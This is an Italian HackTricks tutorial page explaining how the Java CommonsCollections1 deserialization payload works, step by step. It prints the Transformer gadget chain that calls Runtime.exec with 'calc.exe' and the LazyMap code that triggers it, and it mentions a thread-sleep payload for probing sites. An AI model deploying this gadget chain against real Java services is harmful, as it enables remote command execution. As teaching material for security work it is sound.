Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? O vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!
Se non si conosce nulla sui payload di deserializzazione Java, potrebbe essere difficile capire perché questo codice eseguirà una calcolatrice.
Innanzitutto, è necessario sapere che un Transformer in Java è qualcosa che riceve una classe e la trasforma in un'altra.
Inoltre, è interessante sapere che il payload che viene eseguito qui è equivalente a:
Quindi, come il primo payload presentato è equivalente a quei "semplici" one-liner?
Prima di tutto, puoi notare nel payload che viene creato una catena (array) di trasformazioni:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Se leggi il codice, noterai che se concateni in qualche modo la trasformazione dell'array, potrai eseguire comandi arbitrari.
Quindi, come vengono concatenati questi trasformatori?
Nella sezione finale del payload è possibile vedere che viene creato un oggetto Map. Successivamente, la funzione decorate viene eseguita da LazyMap con l'oggetto mappa e i transformers concatenati. Dal codice seguente è possibile notare che ciò causerà la copia dei transformers concatenati all'interno dell'attributo lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
E poi viene eseguito il grande finale: lazyMap.get("anything");
Questo è il codice della funzione get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
E questo è il codice della funzione transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Quindi, ricordate che all'interno della factory avevamo salvato chainedTransformer e all'interno della funzione transform stiamo attraversando tutti quei transformers concatenati ed eseguendoli uno dopo l'altro. La cosa divertente è che ogni transformer utilizza objectcome input e l'oggetto è l'output dell'ultimo transformer eseguito. Pertanto, tutte le trasformazioni sono concatenate eseguendo il payload malevolo.
Riassunto
Alla fine, a causa del modo in cui lazyMap gestisce i transformers concatenati all'interno del metodo get, è come se stessimo eseguendo il seguente codice:
Si noti che qui sono stati spiegati i gadget utilizzati per il payload ComonsCollections1. Ma non è stato spiegato come tutto ciò inizia ad eseguirsi. Puoi vedere qui che ysoserial, per eseguire questo payload, utilizza un oggetto AnnotationInvocationHandler perché quando questo oggetto viene deserializzato, verrà invocata la funzione payload.get() che eseguirà l'intero payload.
Java Thread Sleep
Questo payload potrebbe essere utile per identificare se il sito web è vulnerabile in quanto eseguirà un ritardo se lo è.
Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? O vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!